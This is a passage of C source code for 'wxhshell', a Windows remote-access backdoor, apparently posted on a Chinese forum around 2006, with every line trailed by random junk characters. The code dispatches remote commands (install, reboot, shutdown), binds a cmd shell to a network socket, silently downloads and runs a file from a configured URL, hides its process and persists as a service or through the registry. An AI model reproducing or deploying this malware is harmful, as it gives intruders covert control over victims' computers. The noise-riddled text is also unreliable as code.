  // 帮助 ML^c-xY(  
  case '?': { hS/oOeG<Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6Xu8~%i  
    break; uhz:G~x!  
  } b)tvXiO1>  
  // 安装 FY|.eY_7 {  
  case 'i': { y'(l]F1]  
    if(Install()) PF+v[h;,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " qY Pi  
    else l\vtz5L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Py3Xvudv  
    break; A]id*RtY  
    } *tC]Z&5  
  // 卸载 &.,ZU\`zT  
  case 'r': { -^`]tF`M  
    if(Uninstall()) ]cdKd)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K3Zc>QL{  
    else 4W &HUQ?^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CqDKQQ  
    break; /p+ (_Y  
    } 7@NAky(  
  // 显示 wxhshell 所在路径 P,^`|\#7  
  case 'p': { 7{e0^V,\k  
    char svExeFile[MAX_PATH]; z|; 7;TwA  
    strcpy(svExeFile,"\n\r"); BFmd`#{l  
      strcat(svExeFile,ExeFile); ?>SC:{(  
        send(wsh,svExeFile,strlen(svExeFile),0); 8M9 &CsT6  
    break; fgVeB;k|  
    } [#S}L(  
  // 重启 H|T!}M>  
  case 'b': {  I0trHrX9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G%_6" s  
    if(Boot(REBOOT)) +YVnA?r?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }J"}5O2,b  
    else { -'*\KA@u  
    closesocket(wsh); Z6F>SL  
    ExitThread(0); g!;k$`@{E'  
    } Mn7nS:  
    break; St}j^i  
    } k\W%^Z  
  // 关机 [HGGXgN  
  case 'd': { >bWx!M]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?kEcYD  
    if(Boot(SHUTDOWN)) m{4e+&S|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L8("1_  
    else { 0hnTHlk  
    closesocket(wsh); {_t i*#  
    ExitThread(0); ">PpC]Y1  
    } phr6@TI  
    break; #K:|@d  
    } m_{OCHS+  
  // 获取shell P{v>o,a.  
  case 's': { ;`Eie2y{M  
    CmdShell(wsh); c |OIUc  
    closesocket(wsh); f|G,pDL x  
    ExitThread(0); @|! 9~F  
    break; eJFGgJRIvF  
  } ij i<+oul  
  // 退出 d5mhk[p7\J  
  case 'x': { *F| j%]k~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3)ac  
    CloseIt(wsh); G66A]FIg  
    break; 8@S7_x  
    } F[uy'~;@  
  // 离开 q|,cMPS3  
  case 'q': { HO%atE$>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bkk1_X  
    closesocket(wsh); jkw:h0hX  
    WSACleanup(); <+ 0cQq=2  
    exit(1); \W$bOp  
    break; ENW>bS8 e`  
        } "X4L+]"$g  
  } EooQLZ  
  } p"" #Gbwj  
~Vq<nkWS  
  // 提示信息 e]R`B}vO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # hvLv  
} D5x }V  
  } 0T-y]&uo  
mGR}hsQpn  
  return; <\uz",e}  
} /Qi;'h]  
3NRxf8  
// shell模块句柄 mNS7/I\  
int CmdShell(SOCKET sock) U%oh ?g  
{ l1BbL5#1Q>  
STARTUPINFO si; JQ|qg\[  
ZeroMemory(&si,sizeof(si)); %H OMX{~}#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Du@?j7&l=$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .R5[bXxe7  
PROCESS_INFORMATION ProcessInfo; dE R#)bGj  
char cmdline[]="cmd"; z<2!|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t}r`~AEa!  
  return 0; .XD7};g  
} d3Dw[4  
gx+bKGB`  
// 自身启动模式 M =Pn8<h~  
int StartFromService(void) \z"0lAv"  
{ $U=E7JO  
typedef struct ZNb;2 4  
{ v"'Co6fw  
  DWORD ExitStatus; m>dZ n  
  DWORD PebBaseAddress; Sj?u^L8es}  
  DWORD AffinityMask; `tZu~ n  
  DWORD BasePriority; bH+x `]{A  
  ULONG UniqueProcessId; Us4J[MW<  
  ULONG InheritedFromUniqueProcessId; 34S|[PX d  
}   PROCESS_BASIC_INFORMATION; 7-a[W   
($a ?zJr  
PROCNTQSIP NtQueryInformationProcess; P2J{ Ml#  
p0Cp\.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P(OgT/7A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vd>K=! J  
!9GJ9ZEXM  
  HANDLE             hProcess; 8vFt<k}G  
  PROCESS_BASIC_INFORMATION pbi; O:02LHE   
|<nS<x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I,4t;4;Zk  
  if(NULL == hInst ) return 0; 1~BDtHW7`n  
jIY    
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9[qEJ$--  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ::13$g=T9s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2kg<O%KA`c  
:|hFpLt  
  if (!NtQueryInformationProcess) return 0; +B^(,qKMN  
]L0GIVIE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b~F(2[o  
  if(!hProcess) return 0; }6/L5j:+  
?v-Y1j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jG($:>3a@  
d D6I @N)X  
  CloseHandle(hProcess); jDI)iW`P  
8#%Sq=/+M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Nxk3uF^  
if(hProcess==NULL) return 0; 4o,%}bo&  
HQi57QB  
HMODULE hMod; >7@kwj-f)  
char procName[255]; $Pa7B]A,Ae  
unsigned long cbNeeded; uK6_HvHuy  
3f'dBn5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3L2@C%  
.Q'/e>0  
  CloseHandle(hProcess); Wxjv=#3  
en\shc{R]`  
if(strstr(procName,"services")) return 1; // 以服务启动 :00 #l]g0q  
]RYk Y7>`  
  return 0; // 注册表启动 nya-Io.  
} X4<!E#  
U?/UW;k[  
// 主模块 (hywT)#+  
int StartWxhshell(LPSTR lpCmdLine) -[-LR }u  
{ |Ad1/>8i  
  SOCKET wsl; piIr .]  
BOOL val=TRUE; c&zZsJ"~  
  int port=0; !]bXHT&!R  
  struct sockaddr_in door; a'R)3:S  
Q _}i8p '  
  if(wscfg.ws_autoins) Install(); cG%ttfq\  
V,,/}f '  
port=atoi(lpCmdLine); e_C9VNP  
&cj/8A5-  
if(port<=0) port=wscfg.ws_port; _n9+(X3  
y'sy]Q~  
  WSADATA data; J &,N1B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \Y'#}J"dh  
e|wH5(V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z4l O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T';<;6J**  
  door.sin_family = AF_INET; c*nH=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); + -e8MvP  
  door.sin_port = htons(port); tPO\e]  
1$,t:/'-4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gI^);J rTE  
closesocket(wsl); M1._{Jw5  
return 1; nquKeH  
} *SkUkqP9z  
gv=mz,z  
  if(listen(wsl,2) == INVALID_SOCKET) { K`.wj8zGY  
closesocket(wsl); 1](5wK-Z  
return 1; F",]*> r  
} DJl06-s V  
  Wxhshell(wsl); )k5lA=(Yr+  
  WSACleanup(); /a7tg+:  
,e"A9ik#  
return 0; yQwj [  
|xI\)V E^  
} /BWJ)6#H  
MWSx8R)PN  
// 以NT服务方式启动 ?f+w:FO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G?-27Jk8  
{ y<YVb@O.  
DWORD   status = 0; AYHfe#!  
  DWORD   specificError = 0xfffffff; s PNX)  
DbSl}N;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k*bfq?E a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !O$*/7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; < 4DWH  
  serviceStatus.dwWin32ExitCode     = 0; VQHJ O I  
  serviceStatus.dwServiceSpecificExitCode = 0; {8M=[4_`l  
  serviceStatus.dwCheckPoint       = 0; Z<a6U 3  
  serviceStatus.dwWaitHint       = 0; 4)=LOGW  
pL$UI3VCP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7> -y,?&  
  if (hServiceStatusHandle==0) return; m:TS .@p  
bhXH<=  
status = GetLastError(); U*8;ZXi  
  if (status!=NO_ERROR) ? WWnt^  
{ 6y)xMX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %h U8ycI*h  
    serviceStatus.dwCheckPoint       = 0; 7BCCQsz<  
    serviceStatus.dwWaitHint       = 0; UTQ$sg|7p  
    serviceStatus.dwWin32ExitCode     = status; ~p~8T  
    serviceStatus.dwServiceSpecificExitCode = specificError; +3e(psdg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]B>Y  +  
    return; b?-%Uzp<  
  } {! RW*B  
s-r$%9o5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ah)OyO6  
  serviceStatus.dwCheckPoint       = 0; *iF>}yhe  
  serviceStatus.dwWaitHint       = 0; W|=?-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7Z>u|L($m  
} ,=l MtW  
^DHFP-G?e  
// 处理NT服务事件,比如:启动、停止 L>{E8qv>w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [!{*)4$6  
{ 64}Oa+*s  
switch(fdwControl) DLE|ctzj[7  
{ Kp"mV=RG2T  
case SERVICE_CONTROL_STOP: zMX7 #,  
  serviceStatus.dwWin32ExitCode = 0; !TY4C`/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7\^b+*  
  serviceStatus.dwCheckPoint   = 0;  ,[ +  
  serviceStatus.dwWaitHint     = 0; P0$q{ j  
  { `"[VkQFB/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aPB %6c=  
  } o_U=]mEDY  
  return; 9;Ezm<VQ  
case SERVICE_CONTROL_PAUSE: 'DF3|A],  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xc R  
  break; s)yEVh  
case SERVICE_CONTROL_CONTINUE: +3vK=d_Va  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :c,\8n  
  break; n6WSTh  
case SERVICE_CONTROL_INTERROGATE: HKP\`KBC j  
  break; '#t"^E2$  
}; -$;H_B+.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C 0*k@kGy  
} O:q}<ljp  
GZQ)Tz R  
// 标准应用程序主函数 J),7ukLu^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c[<lr  
{ [w~teX0!  
N;D (_:^  
// 获取操作系统版本 e~J% NU'&  
OsIsNt=GetOsVer(); q=bJ9iJsq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <(d ^2-0  
1*?IDYB  
  // 从命令行安装 XPzwT2_E  
  if(strpbrk(lpCmdLine,"iI")) Install(); =,-80WNsX  
6fPuTQ}fY>  
  // 下载执行文件 ,e>C)wq;  
if(wscfg.ws_downexe) { M#})  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /'E+(Y&:J  
  WinExec(wscfg.ws_filenam,SW_HIDE); !`,6E`Y#  
} c@ En4[a'  
* ok89 ad  
if(!OsIsNt) { ] V]~I.  
// 如果时win9x,隐藏进程并且设置为注册表启动 6\O4R  
HideProc(); ix^:qw;  
StartWxhshell(lpCmdLine); yqlkf$?  
} "eI-Y`O,  
else j3`:;'L  
  if(StartFromService())  ^]wm Y  
  // 以服务方式启动 7H[#  
  StartServiceCtrlDispatcher(DispatchTable); /.05rTpp  
else QfU 0*W?r  
  // 普通方式启动 GfQMdLy\Z  
  StartWxhshell(lpCmdLine); 5#d"]7  
~n]:f7?I  
return 0; Sijwh1j*V  
}
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只看该作者 1 发表于: 2006-10-10
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